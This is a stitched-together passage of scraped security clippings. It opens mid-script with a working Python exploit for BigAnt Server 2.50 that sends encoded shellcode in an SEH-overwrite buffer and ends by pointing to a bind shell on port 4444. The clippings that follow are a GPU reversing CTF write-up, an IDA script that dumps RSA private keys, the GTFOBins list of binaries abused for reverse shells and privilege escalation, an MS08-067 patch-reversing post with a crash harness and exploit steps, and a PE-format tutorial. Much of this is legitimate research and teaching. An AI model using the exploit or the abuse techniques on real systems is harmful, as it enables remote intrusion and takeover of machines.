    "\x46\x48\x44\x4f\x4f\x47\x42\x6a\x45\x76\x45\x61\x49\x6f\x44"
    "\x71\x4b\x70\x4c\x6c\x45\x6c\x45\x31\x43\x4c\x46\x62\x44\x6c"
    "\x51\x30\x4b\x71\x48\x4f\x44\x4d\x43\x31\x4f\x37\x4a\x42\x48"
    "\x70\x51\x42\x43\x67\x4e\x6b\x50\x52\x44\x50\x4c\x4b\x50\x42"
    "\x47\x4c\x46\x61\x48\x50\x4e\x6b\x43\x70\x42\x58\x4b\x35\x49"
    "\x50\x44\x34\x43\x7a\x46\x61\x4e\x30\x42\x70\x4c\x4b\x51\x58"
    "\x42\x38\x4c\x4b\x43\x68\x51\x30\x43\x31\x4b\x63\x48\x63\x45"
    "\x6c\x50\x49\x4e\x6b\x46\x54\x4c\x4b\x45\x51\x49\x46\x44\x71"
    "\x49\x6f\x46\x51\x4f\x30\x4c\x6c\x4b\x71\x48\x4f\x46\x6d\x43"
    "\x31\x48\x47\x47\x48\x49\x70\x42\x55\x49\x64\x44\x43\x43\x4d"
    "\x4c\x38\x45\x6b\x51\x6d\x51\x34\x51\x65\x49\x72\x43\x68\x4c"
    "\x4b\x51\x48\x44\x64\x43\x31\x4b\x63\x42\x46\x4c\x4b\x44\x4c"
    "\x50\x4b\x4e\x6b\x50\x58\x45\x4c\x45\x51\x4a\x73\x4c\x4b\x45"
    "\x54\x4e\x6b\x47\x71\x4a\x70\x4d\x59\x43\x74\x47\x54\x46\x44"
    "\x51\x4b\x43\x6b\x43\x51\x46\x39\x50\x5a\x50\x51\x49\x6f\x4b"
    "\x50\x42\x78\x43\x6f\x43\x6a\x4c\x4b\x42\x32\x48\x6b\x4e\x66"
    "\x51\x4d\x50\x68\x44\x73\x46\x52\x47\x70\x45\x50\x45\x38\x50"
    "\x77\x51\x63\x46\x52\x43\x6f\x46\x34\x42\x48\x42\x6c\x51\x67"
    "\x51\x36\x46\x67\x49\x6f\x48\x55\x48\x38\x4a\x30\x45\x51\x45"
    "\x50\x47\x70\x51\x39\x4b\x74\x42\x74\x46\x30\x42\x48\x47\x59"
    "\x4f\x70\x42\x4b\x43\x30\x4b\x4f\x4a\x75\x50\x50\x46\x30\x50"
    "\x50\x50\x50\x47\x30\x50\x50\x47\x30\x42\x70\x42\x48\x4b\x5a"
    "\x46\x6f\x4b\x6f\x4b\x50\x49\x6f\x4a\x75\x4d\x47\x43\x5a\x43"
    "\x35\x45\x38\x4f\x30\x4e\x48\x43\x31\x45\x56\x42\x48\x45\x52"
    "\x43\x30\x47\x61\x43\x6c\x4f\x79\x4b\x56\x42\x4a\x42\x30\x50"
    "\x56\x46\x37\x50\x68\x4f\x69\x4e\x45\x43\x44\x43\x51\x49\x6f"
    "\x4e\x35\x4f\x75\x4f\x30\x50\x74\x46\x6c\x4b\x4f\x50\x4e\x44"
    "\x48\x50\x75\x48\x6c\x51\x78\x48\x70\x4f\x45\x4d\x72\x43\x66"
    "\x49\x6f\x4e\x35\x51\x7a\x43\x30\x51\x7a\x44\x44\x50\x56\x51"
    "\x47\x42\x48\x43\x32\x4e\x39\x49\x58\x43\x6f\x4b\x4f\x48\x55"
    "\x4e\x6b\x44\x76\x50\x6a\x43\x70\x51\x78\x45\x50\x46\x70\x43"
    "\x30\x43\x30\x50\x56\x43\x5a\x45\x50\x43\x58\x46\x38\x4c\x64"
    "\x51\x43\x4a\x45\x4b\x4f\x4a\x75\x4f\x63\x50\x53\x51\x7a\x43"
    "\x30\x51\x46\x43\x63\x46\x37\x51\x78\x46\x62\x4a\x79\x4a\x68"
    "\x43\x6f\x49\x6f\x48\x55\x46\x61\x4b\x73\x51\x39\x48\x46\x4b"
    "\x35\x4a\x56\x44\x35\x48\x6c\x4f\x33\x46\x6a\x41\x41");
     
    payload = "\x41" * 985        # seh overwritten at 989
    next_seh = "\xeb\x06\x90\x90"   # short jump 6 bytes
    seh = "\xcd\x19\x9a\x0f"    # 0F9A19CD p/p/r from vbajet32.dll
    nops = "\x90" * 10        # nop sled
    sc = shellcode            # 710 bytes available for shellcode
    padding = "\x90" * 1300
     
    print "\n[*] BigAnt Server v2.50 SEH Overwrite 0day"
    print "[*] Written and discovered by Blake"
    print "[*] Tested on Windows XP SP3\n"
     
    print "[+] Connecting to %s on port %d" % (host,port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
       s.connect((host,port))
    except:
       print "[x] Error establishing connection\n"
       sys.exit(0)
     
    print "[+] Sending payload"
    s.send("GET " + payload + next_seh + seh + nops + sc + padding + "\r\n\r\n")
    s.close()
    print "[+] Connect to bind shell on port 4444\n"
     
    # milw0rm.com [2009-09-15]
[/code]

**Pwned\!**

Here there is a video demonstration:

See you  
Michele \`m7x\` Manzotti

References: Thanks to Corelan.

# StalkR's Blog: Insomni'hack GPGPU reversing

**Created:**| _3/9/2011 11:48:11 AM_  
---|---  
**Updated:**| _3/9/2011 11:48:20 AM_  
**Author:**| __  
**Tags:**| _reversing GPU_  
  

### Insomni'hack GPGPU reversing

One of the reversing challenges was exotic: we were given a ciphertext
\(_ohv'c~f3ehnw4byzzky_\), a GPGPU file \(kernel.bin\) of the encryption
routine, and theInstruction Set Architecture \(ISA\) of this GPU.  
  
Since I have never played with GPGPUs \(code/assembly/whatever\), it seemed
hard at first glance. But actually not\! Open kernel.bin and see that there's
some kind of disassembly. Good\! And pretty small, roughly 80 lines of code.  
  
I will explain how I reversed it and reimplemented it in Python to have the
same encryption routine, discovered that it was also the decryption routine,
and just run it against the ciphertext to obtain the plaintext.  
  

### Registers & variables

It first defines some registers:  
`  
.reg .b32 r<126>; /* define r0..125 */  
.reg .b64 x<126>; /* define r0..125 */  
.reg .b32 f<128>; /* define f0..127 */  
.reg .pred p<32>; /* define p0..31 */  
.reg .u32 sp;  
`  
And variables:  
`  
.reg .b8 wb0,wb1,wb2,wb3; /* 8-bit write buffer */  
.reg .b16 ws0,wc1,ws2,ws3; /* 16-bit write buffer */  
.reg .b32 tb0,tb1,tb2,tb3; /* read tex buffer */  
.reg .b64 vl0,vl1; /* 64-bit vector buffer */  
.reg .b16 cvt17_0,cvt16_1; /* tmps for conversions */  
`  
No need to translate this in Python.  
  

### Stack & parameters

It defines a 16-bit \(2 bytes\) aligned stack of 8-bit \(1 byte\) values.  
`  
.local .align 16 .b8 decode_stack[28];  
`  
Then it defines the 3 parameters of the routine: length and input/output
strings.  
`  
.entry decode(  
.param.b32 length /* length */,  
.param.b32 input /* input */,  
.param.b32 output /* output */  
)  
`  
So let's just build a stack of 28 integers values as a dictionary then length
as an integer, input and output as lists of integers \(representing
characters\):  
`  
stack = {}  
for i in range(28):  
stack[i] = 0  
  
input = [ord(c) for c in "ohv'c~f3ehnw4byzzky"]  
output = [0]*len(input)  
length = len(input)  
`  
  

### Initialization

Then the code begins. Instructions are self-explanatory:  
`  
mov.u32 sp, decode_stack;  
`  
Here, stack pointer goes to the previously defined stack. Let's be dumb and
copy that in Python:  
`  
sp = stack  
`  
Then:  
`  
mov.u32 r0, 22;  
st.local.u8 [sp+4], r0;  
[...]  
st.local.u8 [sp+22], r2;  
`  
This translates easily into:  
`  
r0 = 22  
sp[4] = r0  
[...]  
sp[22] = r2  
`  
That's all for the initialization of the decryption routine.  
  
  

### Loop begins?

From here, it looks like **r0** will be used as an increment variable:  
`  
mov.u32 r0, 0;  
`  
Then it ends the stack with a 0 and sets r1, r2 and r3 to output, input and
length:  
`  
st.local.u8 [sp+23], r0;  
ld.param.u32 r1, [output + 0];  
ld.param.u32 r2, [input + 0];  
ld.param.u32 r3, [length + 0];  
`  
This can be translated in python with:  
`  
sp[23] = 0  
r1 = output  
r2 = input  
r3 = length  
`  
  

### Indeed this is a loop

Then we see some kind of label, comparing r0 \(increment variable\) to r3
\(length\), and we can assume that when it's equal it branches to p0 which
then returns:  
`  
LBB1_1:  
setp.hs.u32 p0, r0, r3;  
@p0 ret;  
`  
At the end of the code we also see that it increments r0 and goes back to this
label:  
`  
add.u32 r0, r0, 1;  
bra LBB1_1;  
`  
Looks like a loop to me\! What if we simply turn this into:  
`  
for r0 in range(r3):  
# and loop code here  
`  
  

### Decryption

Inside the loop, we first read:  
`  
add.u32 r4, 4, sp;  
add.u32 r4, r4, r0;  
ld.local.u8 r4, [r4+0];  
`  
r4 is set as sp+4+r0 and then to the value loaded at this address. It is
equivalent to:  
`  
r4 = sp[4+r0]  
`  
Then we read:  
`  
add.u32 r5, r2, r0;  
ld.global.u8 r5, [r5+0];  
`  
Same thing, it is simply loading r2 \(input\):  
`  
r5 = r2[r0]  
`  
Oh oh, the "encryption":  
`  
xor.b32 r4, r5, r4;  
`  
Just a XOR \(between stack and input\):  
`  
r4 = r5 ^ r4  
`  
And finally:  
`  
add.u32 r5, r1, r0;  
st.global.u8 [r5+0], r4;  
`  
Saving result in r1 \(output\):  
`  
r1[r0] = r4  
`  
  

### Conclusion

It was just a XOR with a hard-coded key saved in the so-called stack, so the
decryption routine is the same as the encryption one. We can just use our
python implementation and then print the output list of integers
\(representing characters\) as a string with:  
`  
print "Output: %r" % "".join(chr(output[i]) for i in range(len(output)))  
`  
And it finally gives:  
`  
$ python reverse.py  
Output: 'you got some skillz'  
`  
Not difficult but definitely exotic, I liked it\! Thanks goes to milkmix
\(@milkmix\_\), creator of this reversing challenge, who also made Windows and
Linux ones.

# Extracting a URL in Python - Stack Overflow

**Created:**| _5/9/2009 11:23:43 AM_  
---|---  
**Updated:**| _5/9/2009 11:23:51 AM_  
**Author:**| __  
**Tags:**| _regex python_  
  

In response to the OP's edit I hijacked Find Hyperlinks in Text using Python
\(twitter related\) and came up with this:

[code]

    import re  
      
    myString = "This is my tweet check it out http://tinyurl.com/blah"  
      
    print re.search("(?P<url>https?://[^\s]+)", myString).group("url")
[/code]

# IDA script to get RSA keys

**Created:**| _1/7/2011 5:19:16 PM_  
---|---  
**Updated:**| _1/7/2011 5:19:56 PM_  
**Author:**| __  
**Tags:**| _iDA reversing plugin crypto awesome_  
  

[code]

    #---------------------------------------------------------------------
    #    Simple IDA script to extract RSA private keys and certificates.
    #    kyprizel, 2010
    #
    #    Based on original idea and PoC by Tobias Klein
    #    http://www.trapkit.de/research/sslkeyfinder/
    #---------------------------------------------------------------------
    import os
    import idaapi
    from idautils import *
    
    #OUTFOLDER = 'c:\\temp\\'
    OUTFOLDER = os.path.dirname(GetInputFilePath())
    
    patterns = (
        dict(name='X.509 Public Key Infrastructure Certificates',
            sig='30 82 ? ? 30 82 ? ?',
            outfile='%s.crt'
        ),
        dict(name='PKCS #8: Private-Key Information Syntax Standard',
            sig='30 82 ? ? 02 01 00',
            outfile='%s.key'
        ),)
    
    def find_sig(next_seg, pat, dump_cb):
        """
        Scan binary image for pattern and run dump callback function.
    
        @param next_seg:   Start address
        @param pat:        Dict with config
        @param dump_cb:    Certificate dump callback
        """
        ea = SegStart(next_seg)
        seg_end = SegEnd(next_seg)
        Message('Searching for %s\n' % pat['name'])
    #    Message('Current Seg %s\n' % SegName(next_seg))
        while next_seg != BADADDR:
            ea = idaapi.find_binary(ea, seg_end, pat['sig'], 16, 1)
            if ea != BADADDR:
                ea = dump_cb(ea, pat)
            else:
                next_seg = ea = NextSeg(seg_end)
                seg_end = SegEnd(next_seg)
    
    
    def dump_func(ea, pat):
        """
        Dumps certificate/key from target address to file.
    
        @param ea:   Target address
        @param pat:  Dict with config
    
        @return: address to continue search
        """
        size = (Byte(ea+2) << 8 & 0xffff) + Byte(ea+3)
        outfile = os.path.join(OUTFOLDER, pat['outfile'] % str(ea))
        Message('found at %s, size: %d, saved: %s\n' % (atoa(ea), size, outfile))
        SaveFile(outfile, 0, ea, size+4)
        return ea+size+4
    
    for pat in patterns:
        find_sig(FirstSeg(), pat, dump_func)
    
    Message('Key scan complete.\n') 
    
[/code]

  

# GTFOBins

**Created:**| _5/25/2018 10:41:51 AM_  
---|---  
**Updated:**| _5/25/2018 10:41:51 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

#  GTFOBins

Star**** __56

Fork

GTFOBins is a curated list of Unix binaries that can be exploited by an
attacker to bypass local security restrictions.

The project collects legitimate Unix binaries that can be abused to ~~get the
f\*\*k~~ break out restricted shells, escalate or maintain elevated
privileges, transfer files, spawn bind and reverse shells, and facilitate the
other post-exploitation tasks. See the full list of functions.

This was inspired by the LOLBins project for Windows.

GTFOBins aims to be a shared project where everyone can contribute with
additional binaries and techniques.

## List of GTFOBins\#

Binary | Functions  
---|---  
ash | 
  * Interactive
  * Sudo
  * SUID

  
awk | 
  * Interactive
  * Sudo
  * Limited SUID
  * Non-interactive reverse shell
  * Non-interactive bind shell

  
bash | 
  * Interactive
  * Sudo
  * SUID
  * Upload
  * Download
  * Reverse shell

  
csh | 
  * Interactive
  * Sudo
  * SUID

  
curl | 
  * Upload
  * Download

  
dash | 
  * Interactive
  * Sudo
  * SUID

  
ed | 
  * Interactive
  * Sudo
  * Limited SUID

  
emacs | 
  * Interactive
  * Sudo
  * SUID

  
env | 
  * Interactive
  * Sudo
  * SUID

  
expect | 
  * Interactive
  * Sudo
  * SUID

  
find | 
  * Interactive
  * Sudo
  * SUID

  
ftp | 
  * Interactive
  * Sudo
  * Upload
  * Download

  
gdb | 
  * Interactive
  * Sudo

  
ionice | 
  * Interactive
  * Sudo
  * SUID

  
ld.so | 
  * Interactive
  * Sudo
  * SUID

  
less | 
  * Interactive
  * Sudo
  * Limited SUID

  
man | 
  * Interactive
  * Sudo
  * Limited SUID

  
more | 
  * Interactive
  * Sudo
  * Limited SUID

  
nc | 
  * Upload
  * Download
  * Reverse shell
  * Bind shell

  
node | 
  * Interactive
  * Sudo
  * SUID
  * Reverse shell
  * Bind shell

  
perl | 
  * Interactive
  * Sudo
  * SUID
  * Reverse shell

  
php | 
  * Non-interactive
  * Upload
  * Download
  * Reverse shell

  
python2 | 
  * Interactive
  * Sudo
  * SUID
  * Upload
  * Download
  * Reverse shell
  * Library load

  
python3 | 
  * Interactive
  * Sudo
  * SUID
  * Upload
  * Download
  * Reverse shell
  * Library load

  
rpm | 
  * Interactive
  * Sudo
  * SUID

  
rpmquery | 
  * Interactive
  * Sudo
  * SUID

  
ruby | 
  * Interactive
  * Sudo
  * Upload
  * Reverse shell
  * Library load

  
scp | 
  * Non-interactive
  * Sudo
  * Limited SUID
  * Upload
  * Download

  
setarch | 
  * Interactive
  * Sudo
  * SUID

  
sftp | 
  * Interactive
  * Sudo
  * Upload
  * Download

  
socat | 
  * Reverse shell
  * Bind shell

  
ssh | 
  * Interactive
  * Download
  * Upload

  
strace | 
  * Interactive
  * Sudo
  * SUID

  
tar | 
  * Interactive
  * Sudo
  * Limited SUID

  
taskset | 
  * Interactive
  * Sudo
  * SUID

  
tclsh | 
  * Interactive
  * Sudo
  * SUID
  * Non-interactive reverse shell

  
telnet | 
  * Interactive
  * Reverse shell
  * Sudo
  * Limited SUID

  
tftp | 
  * Upload
  * Download

  
vi | 
  * Interactive
  * Sudo
  * SUID

  
wget | 
  * Upload
  * Download

  
wish | 
  * Interactive
  * Sudo
  * Non-interactive reverse shell

  
zsh | 
  * Interactive
  * Sudo
  * SUID

  
  

# reversing the ms08-067 patch…

**Created:**| _9/23/2018 8:40:36 AM_  
---|---  
**Updated:**| _9/23/2018 8:40:36 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit patch-based_  
  

  

# reversing the ms08-067 patch…

_Posted on October 23, 2008_ by _slawlerguy_

  

<img src='img/image001.jpg' width='594' height='175' />

  

We are gonna jump right in here:

First, let’s download patches. MS has supplied patches for 2K. Since 2K is the
older, less featureful of any of the operating systems, we should download
those patches in order to gain insight into the vulnerability. First, I
grabbed the patch from
http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx. I noted that
it “replaced” the patch from ms06-040…

So I downloaded MS06-040.mspx as well. Extracting these patches can be done
with, for example, “Windows2000-KB921883-x86-ENU.exe /extract:wherever”. In
either case only netapi32.dll was patched – thank heavens\! Makes diffing
easier.

Next I had to diff these patches. I’ve only done this once before, and I don’t
have any of my old tools. The other Stephen told me about eEye’s binary
diffing suite, which I downloaded and installed \(with some dumb registry
hacks to get it running under IDA 5.2\). Fortunately DarunGrim \(the eEye
differ\) is super-easy to use. After running AnalIDA on both netapi32’s and
exporting to sqllite, I had the following output from DarunGrim \(I clicked on
“Match Rate” to get the diffs at the top\):

<img src='img/image002.jpg' width='594' height='254' />

On the left is netapi32.dll for 2K SP4 MS06-040, and on the right is
netapi32.dll from the latest MS08-067 2K SP4 patch.

So some unnamed subroutine as well as NetpManageIPCConnect. Well I’ll spare
you the details about NetpManagerIPCConnect and just give an overview: it’s
called by NetJoinDomain and has nothing to do with the current vulnerability.
Or does it\! Maybe it’s just a free security update for 2K, I dunno.

Anyway that unnamed function is what’s interesting. Take a look at
“Unidentified Subroutines”:

<img src='img/image004.jpg' width='594' height='254' />  

Hmm… StringCopyWorkerW is what MS uses whenever they have to start cleaning up
their old fugly code. Well looking at “sub\_7CDDB293” \(patched\) we have:

<img src='img/image007.jpg' width='576' height='292' />

And in the old \(less patched\) function we have:

<img src='img/image009.jpg' width='575' height='301' />

At first this kind of stuff gets you excited about unbounded stack copies,
until you look at the function a little. First off, the function takes one
argument:

<img src='img/image011.jpg' width='576' height='356' />

And there are no local buffers. Huh… if you look at it a bit longer, you’ll
see the function copies FROM the “pszDest” buffer TO the “pszDest” buffer.
This is not the stuff strcpy overflows are made of, since the destination
buffer is by definition at least as large as the source buffer.

So I discounted a straight up overflow and figured it must be an indexing
error of some kind. If you bring up MS06-040 for 2K SP4 netapi32.dll in IDA
and look around, you can match up your flowgraph with the one I show here:

<img src='img/image012.jpg' width='746' height='319' />

What tipped me off was:

.text:7CDDB318 014 89 6C 24 10 mov \[esp+14h+var\_4\], ebp

.text:7CDDB31C 014 8B F5 mov esi, ebp

.text:7CDDB31E 014 83 C5 FE add ebp, -2

.text:7CDDB321 014 55 push ebp

.text:7CDDB322 018 57 push edi

.text:7CDDB323 01C E8 5C 00 00 00 call sub\_7CDDB384

.text:7CDDB328 014 8B E8 mov ebp, eax ; ASS

That “add ebp, -2” _could_ cause ebp to point before the start of our buffer,
_if_ ebp was initialized to point to the start of the buffer. Moreover, if you
look at “sub\_7CDDB384”, you’ll see it scans backwards for a “\” \(backslash\)
character. So if ebp did point prior to the buffer start, sub\_7CDDB23D would
make it point _even further_ down the stack. A subsequent wcscpy \(in the
“peach” box in the graph above\) could then corrupt variables farther down the
callstack \(like, say, EIP\).

However, this section of code won’t be called until ebp is non-zero, which
occurs in the “green” marked box, which must be pre-ceded by edx being
initialized in the “yellow” box.

Rather than completely untangle the mess of functionality exposed in this
disassembly, I wanted to run the function a little and see what kind of inputs
correspond to what outputs.

I did this by taking the offset between sub\_7CDDB23D and the load address of
NETAPI32.DLL, and then I wrote this C program:

\#include <windows.h>

\#include <stdio.h>

int wmain\(int argc, wchar\_t \*\*argv\)

\{

HMODULE netapi32 = LoadLibraryW\(argv\[1\]\);

void \(\_\_stdcall \*foo\)\(PWCHAR\);

WCHAR buf\[4096\];

\*\(PVOID\*\)&foo = \(PVOID\)\(\(\(PUCHAR\)netapi32\) + 0x1b23d\);

//\_\_asm \{ int 3 \}

wcscpy\(buf, argv\[2\]\);

foo\(buf\);

wprintf\(L”%s\n”, buf\);

\}

Now I could basically just call the function on the command line with
different combinations of characters and see what happened:

<img src='img/image014.jpg' width='422' height='237' />

So basically it strips out preceding directory entries with each “\\..\”. No
doubt it does this by finding where a “\\..\” is, backing up to the backslash
that starts _before_ it, and copying the string down. But what happens when
there are aren’t any more prior directory entries….

<img src='img/image016.jpg' width='576' height='337' />

So it scanned backwards until it busted the stack \(as if there had been
infinite recursion or it had allocated too much memory with alloca\). Probably
cuz there wasn’t any “0x5c” \(“\”\) on the stack. Well maybe in the RPC
service there will be…

For that, get a call graph:

<img src='img/image018.jpg' width='575' height='495' />

Looks complicated, but NetpwPathCanonicalize is an export, and SRVSVC.DLL
imports it…

<img src='img/image020.jpg' width='575' height='318' />

Wow, wasn’t this exact function patched in MS06-040? Microsoft sure has egg on
their face. Well, I didn’t have any packet generators with me and I don’t know
how to use metasploit, so I used Tenable’s awesome mIDA plugin to rip out an
IDL from SRVSVC:

<img src='img/image021.jpg' width='427' height='249' />

mIDA never organizes its structs and unions correctly, so I had to fiddle with
the resulting .IDL file, but that only took 5-10 minutes. The next thing to do
was put a harness together to call the NetprPathCanonicalize function in
C/C++:

\#include <windows.h>

\#include “srvsvc.h”

\#include <stdio.h>

extern “C” PVOID \_\_stdcall MIDL\_user\_allocate\(size\_t s\) \{ return
malloc\(s\); \}

extern “C” VOID \_\_stdcall MIDL\_user\_free\(PVOID p\) \{ free\(p\); \}

int main\(int argc, char \*\*argv\)

\{

RPC\_STATUS status;

unsigned char \*strBind = 0;

handle\_t handle;

status = RpcStringBindingComposeA\(0, // object uuid

\(RPC\_CSTR\)”ncacn\_np”, // protseq

\(RPC\_CSTR\)argv\[1\], // net addr

\(RPC\_CSTR\)argv\[2\], // endpoint

0,

&strBind\);

if \(status\) \{ printf\(“%d\n”, status\); return status; \}

printf\(“%s\n”, strBind\);

status = RpcBindingFromStringBinding\(strBind, &handle\);

if \(status\) \{ printf\(“%d\n”, status\); return status; \}

RpcTryExcept \{

unsigned char x\[1000\];

long q = 1;

\_NetprPathCanonicalize\(handle, L”AAA”,
L”.\\\\\\\x\\\\..\\\\..\\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”,
x, 1000, L””, &q, 1\);

\} RpcExcept\(EXCEPTION\_EXECUTE\_HANDLER\) \{

unsigned long code = RpcExceptionCode\(\);

printf\(“WAHAHAH %d %08x\n”, code, code\);

\} RpcEndExcept

printf\(“hi\n”\);

\}

The MIDL\_user\_allocate/free functions are because MIDL.EXE won’t generate
them for you but they end up in the client stubs. I had to fiddle a little
with the parameters in NetprPathCanonicalize to pass all the various checks
and functions to get my evil data from NetprPathCanonicalize, through to
NetpwPathCanonicalize and to the vulnerable “sub\_…” routine, but as you can
see there isn’t much too it.

In order to get a real exploit out of this, we need to:

  * Prime our RPC service with additional data to ensure that a “\” \(backslash\) will occur somewhere in an older portion of the callstack, so that ebp won’t point too far down the stack before the wcscpy
  * Dump a jmp esp somewhere into that mess of “x”s
  * Get valid Unicode shellcode \(which isn’t hard\) and put it in the “x”s. You’ve got almost 1000 bytes to work with, that should be more than enough for about anything.

I didn’t handle any authentication or anything in this dumb example, so you
use it by:

net use \\\victim\ipc$ /user:”” “” \(or valid creds, depending…\)

die.exe \\\victim \pipe\srvsvc

Oh just a dumb addendum to this post: you can get the PoC which remotely
accesses this vuln off milw0rm: http://www.milw0rm.com/exploits/6824 and
http://milw0rm.com/sploits/2008-ms08-067.zip. This won’t get you execution
since I’m not in the habit of releasing toys for k1dd13s but, like the patch
itself, it should be enough for anyone moderately skilled to get reliable EIP,
it just needs a little futzing here and there.

Also, in fairness to Microsoft’s fuzzers, although it is trivially easy to
bust the unnamed “sub\_7CDDB23D” that is internal to NETAPI32.DLL, actually
accessing this function in a way that will remotely trigger the vulnerability
is a bit trickier. Once someone’s pointed it out to you, you’ll smack your
forehead and wonder how you could’ve missed it \(I have been smacking my
forehead now for 2 days straight\); but it does actually require the alignment
of several parameters in juuust the right way. Anyone who’s ever tried fuzzing
something will know that for every parameter you can fuzz “correctly” \(i.e.,
exploitably\), there is probably a few thousand \(more often, billion\) ways
to fuzz that parameter “incorrectly” \(i.e., safely\). Multiply that by the 7
or so arguments required by NetprPathCanonicalize and even “simple” stuff like
this can slip through the cracks.

\*\*\* more files and such to come \(idb, analida, etc.\) \*\*\*

Also, why is it that when you start googling for random stuff while you are
reversing you always get hits for Chinese sites? <img src='' width='13'
height='13' alt='😉' />

Also, we know Kostya Kortchinsky at Immuity beat us to this…and teased us
about it…

Like

  * <img src='img/67f62402c516597b988a2389533cceed.jpg' width='30' height='30' alt='minhtrietphamtran' />

One blogger likes this.

### _Related_

Disassembling Version 6 BlackBerry appsIn "blackberry"

Disassembling BlackBerry apps, take 2In "blackberry"

Hardware Hacking for Software PeopleIn "debugging"

Tagged: _ms08-067, patch tuesday_

Posted in: _exploit dev, reversing_

Javascript Malware Deobfuscation →

  

# Detailed Overview and Internals of PE File | SecurityXploded Blog
**Created:**| _10/15/2013 7:03:27 PM_  
---|---  
**Updated:**| _10/15/2013 7:03:27 PM_  
**Author:**| __  
**Tags:**| _reversing windows environment pecoff_  
  

# **D** etailed Overview and Internals of PE File****

A win32 portable executable\(PE\) file consists of: DOS Header, PE Header,
Section Table, Sections**.** Analyzing a PE file gives us a lot of information
like the address in memory where the file will be located \(ImageBase\),
address of entry point, imported and exported functions, packed or unpacked
etc**.** Thus this static analysis can indicate whether it’s a malware or not
etc**.**

**PE File Architecture**

**DOS MZ** header is 64 bytes in size**.** Its structure, IMAGE\_DOS\_HEADER,
is defined in winnt**.** h**.** The important fields present in this are:  
_e\_magic_ -> contains the value 4Dh, 5Ah \(or letters “MZ” for _Mark
Zbikowsky_ who designed the MS-DOS\);  
_e\_lfanew_ -> contains the offset of the PE header**.**

<img src='img/Temp2_2138.jpg' />

The **PE header** structure IMAGE\_NT\_HEADERS contains 3 fields: Signature,
FileHeader and OptionalHeader**.**  
_Signature_ is a DWORD\(4 bytes\) containing the value 50h, 45h, 00h, 00h
\(“PE” followed by two terminating zeroes\)**.**  
_FileHeader_\(IMAGE\_FILE\_HEADER\) is the next 20 bytes of the PE file and
contains info about the physical layout & properties of the file e.g. number
of sections**.**  
_OptionalHeader_\(IMAGE\_OPTIONAL\_HEADERS\) is always present and forms the
next 224 bytes**.** It contains info about the logical layout inside the PE
file with fields like AddressOfEntryPoint, ImageBase, FileAlignment,
SectionAlignment etc**.** The last 128 bytes contains the Data Directory which
is an array of 16 IMAGE\_DATA\_DIRECTORY structures**.**

The **Section Table** contains information about each section present in the
pefile**.** Some of the sections are:  
_Code section_ : .text contains the executable instructions  
_Data_ Section: .bss –>uninitialized variables; .rdata->read only variables;
.data->initialized variables  
_Export data_ : .edata->names and addresses of exported functions as well as
Export Directory  
_Import_ data: .idata-> names and variables of imported functions as well as
Import Descriptor and IAT**.**

**Swiss Army knife tools**

Some of the important and useful tools you may need to explore more details
are: PEid, PEview, PE Explorer, PE browse, dependency walker, Resource hacker,
Lord PE and Import Reconstructor**.**

<img src='img/Temp2_2137.jpg' />

\(PE Viewer to view internal details in organized format\)

Though lots of GUI tools are available for studying a pe-file, you can program
your own custom tool in python using the “pefile” module**.** Let’s study the
usage of this module**.**

To open an executable using pefile:

>>> pe=pefile**.** PE\(‘hello.exe’\) >>> pe <pefile**.** PE instance at
0x0000000002B06248>  
---  
We can search for individual fields like:

>>> pe.OPTIONAL\_HEADER.AddressOfEntryPoint >>> pe.OPTIONAL\_HEADER.ImageBase
4194304 >>> pe.FILE\_HEADER.NumberOfSections  
---  
Let’s check each section in detail:

>>> for section in pe.sections: print \(section.Name,
hex\(section.VirtualAddress\), hex\(section.Misc\_VirtualSize\),
section.SizeOfRawData \) \(‘.text\x00\x00\x00′, ’0×1000′, ’0×26′, 512\)  
\(‘.rdata\x00\x00′, ’0×2000′, ’0×92′, 512\)  
\(‘.data\x00\x00\x00′, ’0×3000′, ’0xd’, 512\)  
---  
To dump all the fields of the file, just a single simple command:

>>> print pe.dump\_info\(\) ———-DOS\_HEADER———- \[IMAGE\_DOS\_HEADER\]  
0×0 0×0 e\_magic: 0x5A4D  
0×2 0×2 e\_cblp: 0×90  
0×4 0×4 e\_cp: 0×3  
0×6 0×6 e\_crlc: 0×0  
0×8 0×8 e\_cparhdr: 0×4  
0xA 0xA e\_minalloc: 0×0  
0xC 0xC e\_maxalloc: 0xFFFF  
0xE 0xE e\_ss: 0×0  
0×10 0×10 e\_sp: 0xB8  
0×12 0×12 e\_csum: 0×0  
0×14 0×14 e\_ip: 0×0  
0×16 0×16 e\_cs: 0×0  
0×18 0×18 e\_lfarlc: 0×40  
0x1A 0x1A e\_ovno: 0×0  
0x1C 0x1C e\_res:  
0×24 0×24 e\_oemid: 0×0  
0×26 0×26 e\_oeminfo: 0×0  
0×28 0×28 e\_res2:  
0x3C 0x3C e\_lfanew: 0xB0 ———-NT\_HEADERS———- \[IMAGE\_NT\_HEADERS\]  
0xB0 0×0 Signature: 0×4550 ———-FILE\_HEADER———- \[IMAGE\_FILE\_HEADER\]  
0xB4 0×0 Machine: 0x14C  
0xB6 0×2 NumberOfSections: 0×3  
0xB8 0×4 TimeDateStamp: 0x52123CCD \[Mon Aug 19 15:42:05 2013 UTC\]  
0xBC 0×8 PointerToSymbolTable: 0×0  
0xC0 0xC NumberOfSymbols: 0×0  
0xC4 0×10 SizeOfOptionalHeader: 0xE0  
0xC6 0×12 Characteristics: 0x10F Flags: IMAGE\_FILE\_LOCAL\_SYMS\_STRIPPED,
